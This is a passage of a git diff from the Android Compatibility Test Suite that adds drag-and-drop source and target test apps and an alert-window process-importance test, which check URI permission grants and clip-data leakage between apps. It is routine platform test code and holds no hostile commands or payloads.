+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndsourceapp;
+
+import android.database.AbstractCursor;
+
+public class DragSourceCursor extends AbstractCursor {
+ private static final String COLUMN_KEY = "key";
+
+ private final String mValue;
+
+ public DragSourceCursor(String value) {
+ mValue = value;
+ }
+
+ @Override
+ public int getCount() {
+ return 1;
+ }
+
+ @Override
+ public String[] getColumnNames() {
+ return new String[] {COLUMN_KEY};
+ }
+
+ @Override
+ public String getString(int column) {
+ if (getPosition() != 0) {
+ throw new IllegalArgumentException("Incorrect position: " + getPosition());
+ }
+ if (column != 0) {
+ throw new IllegalArgumentException("Incorrect column: " + column);
+ }
+ return mValue;
+ }
+
+ @Override
+ public short getShort(int column) {
+ return 0;
+ }
+
+ @Override
+ public int getInt(int column) {
+ return 0;
+ }
+
+ @Override
+ public long getLong(int column) {
+ return 0;
+ }
+
+ @Override
+ public float getFloat(int column) {
+ return 0;
+ }
+
+ @Override
+ public double getDouble(int column) {
+ return 0;
+ }
+
+ @Override
+ public boolean isNull(int column) {
+ return false;
+ }
+}
diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.mk b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
new file mode 100644
index 0000000..d291df4
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/wm/TestLogClient.java
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
new file mode 100644
index 0000000..33c7a0f
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.dndtargetapp">
+ <application android:label="CtsDnDTarget">
+ <activity android:name="android.server.wm.dndtargetapp.DropTarget">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml
rename to tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
diff --git a/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
new file mode 100644
index 0000000..0500ef4
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndtargetapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.server.wm.TestLogClient;
+import android.view.DragAndDropPermissions;
+import android.view.DragEvent;
+import android.view.View;
+import android.widget.TextView;
+
+public class DropTarget extends Activity {
+ private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+ private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
+ private static final String RESULT_KEY_EXTRAS = "EXTRAS";
+ private static final String RESULT_KEY_DROP_RESULT = "DROP";
+ private static final String RESULT_KEY_DETAILS = "DETAILS";
+ private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
+ private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
+ private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
+ private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
+ private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
+
+ public static final String RESULT_OK = "OK";
+ public static final String RESULT_EXCEPTION = "Exception";
+ public static final String RESULT_MISSING = "MISSING";
+ public static final String RESULT_LEAKING = "LEAKING";
+
+ protected static final String MAGIC_VALUE = "42";
+
+ private TextView mTextView;
+ private TestLogClient mLogClient;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+
+ View view = getLayoutInflater().inflate(R.layout.target_activity, null);
+ setContentView(view);
+
+ setUpDropTarget("request_none", new OnDragUriReadListener(false));
+ setUpDropTarget("request_read", new OnDragUriReadListener());
+ setUpDropTarget("request_write", new OnDragUriWriteListener());
+ setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
+ setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
+ }
+
+ private void setUpDropTarget(String mode, OnDragUriListener listener) {
+ if (!mode.equals(getIntent().getStringExtra("mode"))) {
+ return;
+ }
+ mTextView = (TextView)findViewById(R.id.drag_target);
+ mTextView.setText(mode);
+ mTextView.setOnDragListener(listener);
+ }
+
+ private String checkExtraValue(DragEvent event) {
+ PersistableBundle extras = event.getClipDescription().getExtras();
+ if (extras == null) {
+ return "Null";
+ }
+
+ final String value = extras.getString("extraKey");
+ if ("extraValue".equals(value)) {
+ return RESULT_OK;
+ }
+ return value;
+ }
+
+ private void logResult(String key, String value) {
+ mLogClient.record(key, value);
+ mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
+ }
+
+ private abstract class OnDragUriListener implements View.OnDragListener {
+ private final boolean requestPermissions;
+
+ public OnDragUriListener(boolean requestPermissions) {
+ this.requestPermissions = requestPermissions;
+ }
+
+ @Override
+ public boolean onDrag(View v, DragEvent event) {
+ checkDragEvent(event);
+
+ switch (event.getAction()) {
+ case DragEvent.ACTION_DRAG_STARTED:
+ logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
+ logResult(RESULT_KEY_EXTRAS, checkExtraValue(event));
+ return true;
+
+ case DragEvent.ACTION_DRAG_ENTERED:
+ return true;
+
+ case DragEvent.ACTION_DRAG_LOCATION:
+ return true;
+
+ case DragEvent.ACTION_DRAG_EXITED:
+ return true;
+
+ case DragEvent.ACTION_DROP:
+ // Try accessing the Uri without the permissions grant.
+ accessContent(event, RESULT_KEY_ACCESS_BEFORE, false);
+
+ // Try accessing the Uri with the permission grant (if required);
+ accessContent(event, RESULT_KEY_DROP_RESULT, requestPermissions);
+
+ // Try accessing the Uri after the permissions have been released.
+ accessContent(event, RESULT_KEY_ACCESS_AFTER, false);
+ return true;
+
+ case DragEvent.ACTION_DRAG_ENDED:
+ logResult(RESULT_KEY_DRAG_ENDED, RESULT_OK);
+ return true;
+
+ default:
+ return false;
+ }
+ }
+
+ private void accessContent(DragEvent event, String resultKey, boolean requestPermissions) {
+ String result;
+ try {
+ result = processDrop(event, requestPermissions);
+ } catch (SecurityException e) {
+ result = RESULT_EXCEPTION;
+ if (resultKey.equals(RESULT_KEY_DROP_RESULT)) {
+ logResult(RESULT_KEY_DETAILS, e.getMessage());
+ }
+ }
+ logResult(resultKey, result);
+ }
+
+ private String processDrop(DragEvent event, boolean requestPermissions) {
+ final ClipData clipData = event.getClipData();
+ if (clipData == null) {
+ return "Null ClipData";
+ }
+ if (clipData.getItemCount() == 0) {
+ return "Empty ClipData";
+ }
+ ClipData.Item item = clipData.getItemAt(0);
+ if (item == null) {
+ return "Null ClipData.Item";
+ }
+ Uri uri = item.getUri();
+ if (uri == null) {
+ return "Null Uri";
+ }
+
+ DragAndDropPermissions permissions = null;
+ if (requestPermissions) {
+ permissions = requestDragAndDropPermissions(event);
+ if (permissions == null) {
+ return "Null DragAndDropPermissions";
+ }
+ }
+
+ try {
+ return processUri(uri);
+ } finally {
+ if (permissions != null) {
+ permissions.release();
+ }
+ }
+ }
+
+ abstract protected String processUri(Uri uri);
+ }
+
+ private void checkDragEvent(DragEvent event) {
+ final int action = event.getAction();
+
+ // ClipData should be available for ACTION_DROP only.
+ final ClipData clipData = event.getClipData();
+ if (action == DragEvent.ACTION_DROP) {
+ if (clipData == null) {
+ logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
+ }
+ } else {
+ if (clipData != null) {
+ logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_LEAKING + action);
+ }
+ }
+
+ // ClipDescription should be always available except for ACTION_DRAG_ENDED.
+ final ClipDescription clipDescription = event.getClipDescription();
+ if (action != DragEvent.ACTION_DRAG_ENDED) {
+ if (clipDescription == null) {
+ logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING + action);
+ }
+ } else {
+ if (clipDescription != null) {
+ logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_LEAKING);
+ }
+ }
+
+ // Local state should be always null for cross-app drags.
+ final Object localState = event.getLocalState();
+ if (localState != null) {
+ logResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_LEAKING + action);
+ }
+ }
+
+ private class OnDragUriReadListener extends OnDragUriListener {
+ OnDragUriReadListener(boolean requestPermissions) {
+ super(requestPermissions);
+ }
+
+ OnDragUriReadListener() {
+ super(true);
+ }
+
+ protected String processUri(Uri uri) {
+ return checkQueryResult(uri, MAGIC_VALUE);
+ }
+
+ protected String checkQueryResult(Uri uri, String expectedValue) {
+ Cursor cursor = null;
+ try {
+ cursor = getContentResolver().query(uri, null, null, null, null);
+ if (cursor == null) {
+ return "Null Cursor";
+ }
+ cursor.moveToPosition(0);
+ String value = cursor.getString(0);
+ if (!expectedValue.equals(value)) {
+ return "Wrong value: " + value;
+ }
+ return RESULT_OK;
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+ }
+ }
+
+ private class OnDragUriWriteListener extends OnDragUriListener {
+ OnDragUriWriteListener() {
+ super(true);
+ }
+
+ protected String processUri(Uri uri) {
+ ContentValues values = new ContentValues();
+ values.put("key", 100);
+ getContentResolver().update(uri, values, null, null);
+ return RESULT_OK;
+ }
+ }
+
+ private class OnDragUriReadPrefixListener extends OnDragUriReadListener {
+ @Override
+ protected String processUri(Uri uri) {
+ final String result1 = queryPrefixed(uri, "1");
+ if (!result1.equals(RESULT_OK)) {
+ return result1;
+ }
+ final String result2 = queryPrefixed(uri, "2");
+ if (!result2.equals(RESULT_OK)) {
+ return result2;
+ }
+ return queryPrefixed(uri, "3");
+ }
+
+ private String queryPrefixed(Uri uri, String selector) {
+ final Uri prefixedUri = Uri.parse(uri.toString() + "/" + selector);
+ return checkQueryResult(prefixedUri, selector);
+ }
+ }
+
+ private class OnDragUriTakePersistableListener extends OnDragUriListener {
+ OnDragUriTakePersistableListener() {
+ super(true);
+ }
+
+ @Override
+ protected String processUri(Uri uri) {
+ getContentResolver().takePersistableUriPermission(
+ uri, View.DRAG_FLAG_GLOBAL_URI_READ);
+ getContentResolver().releasePersistableUriPermission(
+ uri, View.DRAG_FLAG_GLOBAL_URI_READ);
+ return RESULT_OK;
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
new file mode 100644
index 0000000..59f4ab1
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ ../src/android/server/wm/TestLogClient.java
+
+LOCAL_SDK_VERSION := 23
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
new file mode 100644
index 0000000..d10a548
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.wm.dndtargetappsdk23">
+ <application android:label="CtsDnDTarget">
+ <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
rename to tests/framework/base/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java b/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
new file mode 100644
index 0000000..93a8659
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndtargetappsdk23;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.server.wm.TestLogClient;
+import android.view.DragEvent;
+import android.view.View;
+import android.widget.TextView;
+
+/**
+ * This application is compiled against SDK 23 and used to verify that apps targeting SDK 23 and
+ * below do not receive global drags.
+ */
+public class DropTarget extends Activity {
+ private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+ private static final String RESULT_KEY_DROP_RESULT = "DROP";
+
+ public static final String RESULT_OK = "OK";
+
+ private TextView mTextView;
+ private TestLogClient mLogClient;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ View view = getLayoutInflater().inflate(R.layout.target_activity, null);
+ setContentView(view);
+
+ mTextView = (TextView) findViewById(R.id.drag_target);
+ mTextView.setOnDragListener(new OnDragListener());
+
+ mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+ }
+
+ private void logResult(String key, String value) {
+ mLogClient.record(key, value);
+ mTextView.setText(key + "=" + value);
+ }
+
+ private class OnDragListener implements View.OnDragListener {
+ @Override
+ public boolean onDrag(View v, DragEvent event) {
+ switch (event.getAction()) {
+ case DragEvent.ACTION_DRAG_STARTED:
+ logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
+ return true;
+
+ case DragEvent.ACTION_DRAG_ENTERED:
+ return true;
+
+ case DragEvent.ACTION_DRAG_LOCATION:
+ return true;
+
+ case DragEvent.ACTION_DRAG_EXITED:
+ return true;
+
+ case DragEvent.ACTION_DROP:
+ logResult(RESULT_KEY_DROP_RESULT, RESULT_OK);
+ return true;
+
+ case DragEvent.ACTION_DRAG_ENDED:
+ return true;
+
+ default:
+ return false;
+ }
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/tests/framework/base/windowmanager/frametestapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
rename to tests/framework/base/windowmanager/frametestapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml b/tests/framework/base/windowmanager/frametestapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
rename to tests/framework/base/windowmanager/frametestapp/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java b/tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/DialogTestActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
rename to tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/DialogTestActivity.java
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java b/tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/MovingChildTestActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java
rename to tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/MovingChildTestActivity.java
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
new file mode 100644
index 0000000..574f25b
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
@@ -0,0 +1,243 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE;
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE_PRE_26;
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
+import static android.content.Context.BIND_ALLOW_OOM_MANAGEMENT;
+import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Context.BIND_NOT_FOREGROUND;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.ActivityManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.alertwindowservice.AlertWindowService;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.ToIntFunction;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsImportanceTests
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public final class AlertWindowsImportanceTests {
+
+ private static final String TAG = "AlertWindowsTests";
+
+ private static final boolean DEBUG = false;
+ private static final long WAIT_TIME_MS = 2 * 1000;
+
+ private static final String SDK25_PACKAGE_NAME = "android.server.wm.alertwindowappsdk25";
+
+ private Messenger mService;
+ private String mServicePackageName;
+
+ private ActivityManager mAm;
+ private ActivityManager mAm25; // ActivityManager created for an SDK 25 app context.
+
+ private final Messenger mMessenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));
+ private final Object mAddedLock = new Object();
+ private final Object mRemoveLock = new Object();
+
+ @Before
+ public void setUp() throws Exception {
+ if (DEBUG) Log.e(TAG, "setUp");
+ final Context context = InstrumentationRegistry.getTargetContext();
+
+ mAm = context.getSystemService(ActivityManager.class);
+ mAm25 = context.createPackageContext(SDK25_PACKAGE_NAME, 0)
+ .getSystemService(ActivityManager.class);
+
+ final Intent intent = new Intent()
+ .setClassName(AlertWindowService.PACKAGE_NAME, AlertWindowService.class.getName())
+ .putExtra(AlertWindowService.EXTRA_MESSENGER, mMessenger);
+ // Needs to be both BIND_NOT_FOREGROUND and BIND_ALLOW_OOM_MANAGEMENT to avoid the binding
+ // to this instrumentation test from increasing its importance.
+ context.bindService(intent, mConnection,
+ BIND_AUTO_CREATE | BIND_NOT_FOREGROUND | BIND_ALLOW_OOM_MANAGEMENT);
+ synchronized (mConnection) {
+ // Wait for alert window service to be connection before processing.
+ mConnection.wait(WAIT_TIME_MS);
+ }
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (DEBUG) Log.e(TAG, "tearDown");
+ if (mService != null) {
+ mService.send(Message.obtain(null, AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS));
+ }
+ final Context context = InstrumentationRegistry.getTargetContext();
+ context.unbindService(mConnection);
+ mAm = null;
+ mAm25 = null;
+ }
+
+ @Test
+ public void testAlertWindowOomAdj() throws Exception {
+ setAlertWindowPermission(true /* allow */);
+
+ assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+ // TODO AM.getUidImportance() sometimes return a different value from what
+ // getPackageImportance() returns... b/37950472
+ // assertUidImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+ addAlertWindow();
+ // Process importance should be increased to visible when the service has an alert window.
+ assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+ addAlertWindow();
+ assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+ setAlertWindowPermission(false /* allow */);
+ // Process importance should no longer be visible since its alert windows are not allowed to
+ // be visible.
+ assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+ setAlertWindowPermission(true /* allow */);
+ // They can show again so importance should be visible again.
+ assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+ removeAlertWindow();
+ assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+ removeAlertWindow();
+ // Process importance should no longer be visible when the service no longer as alert
+ // windows.
+ assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+ }
+
+ private void addAlertWindow() throws Exception {
+ mService.send(Message.obtain(null, AlertWindowService.MSG_ADD_ALERT_WINDOW));
+ synchronized (mAddedLock) {
+ // Wait for window addition confirmation before proceeding.
+ mAddedLock.wait(WAIT_TIME_MS);
+ }
+ }
+
+ private void removeAlertWindow() throws Exception {
+ mService.send(Message.obtain(null, AlertWindowService.MSG_REMOVE_ALERT_WINDOW));
+ synchronized (mRemoveLock) {
+ // Wait for window removal confirmation before proceeding.
+ mRemoveLock.wait(WAIT_TIME_MS);
+ }
+ }
+
+ private void setAlertWindowPermission(boolean allow) throws Exception {
+ final String cmd = "appops set " + mServicePackageName
+ + " android:system_alert_window " + (allow ? "allow" : "deny");
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
+ }
+
+ private void assertImportance(ToIntFunction<ActivityManager> apiCaller,
+ int expectedForO, int expectedForPreO) throws Exception {
+ final long TIMEOUT = SystemClock.uptimeMillis() + TimeUnit.SECONDS.toMillis(30);
+ int actual;
+
+ do {
+ // TODO: We should try to use ActivityManagerTest.UidImportanceListener here to listen
+ // for changes in the uid importance. However, the way it is currently structured
+ // doesn't really work for this use case right now...
+ Thread.sleep(500);
+ actual = apiCaller.applyAsInt(mAm);
+ } while (actual != expectedForO && (SystemClock.uptimeMillis() < TIMEOUT));
+
+ assertEquals(expectedForO, actual);
+
+ // Check the result for pre-O apps.
+ assertEquals(expectedForPreO, apiCaller.applyAsInt(mAm25));
+ }
+
+ /**
+ * Make sure {@link ActivityManager#getPackageImportance} returns the expected value.
+ */
+ private void assertPackageImportance(int expectedForO, int expectedForPreO) throws Exception {
+ assertImportance(am -> am.getPackageImportance(mServicePackageName),
+ expectedForO, expectedForPreO);
+ }
+
+ private final ServiceConnection mConnection = new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ if (DEBUG) Log.e(TAG, "onServiceConnected");
+ mService = new Messenger(service);
+ mServicePackageName = name.getPackageName();
+ synchronized (mConnection) {
+ notifyAll();
+ }
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ if (DEBUG) Log.e(TAG, "onServiceDisconnected");
+ mService = null;
+ mServicePackageName = null;
+ }
+ };
+
+ private class IncomingHandler extends Handler {
+
+ IncomingHandler(Looper looper) {
+ super(looper);
+ }
+
+ @Override
+ public void handleMessage(Message msg) {
+ switch (msg.what) {
+ case AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED:
+ synchronized (mAddedLock) {
+ if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_ADDED");
+ mAddedLock.notifyAll();
+ }
+ break;
+ case AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED:
+ synchronized (mRemoveLock) {
+ if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_REMOVED");
+ mRemoveLock.notifyAll();
+ }
+ break;
+ default:
+ super.handleMessage(msg);
+ }
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
new file mode 100644
index 0000000..c9d1025
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
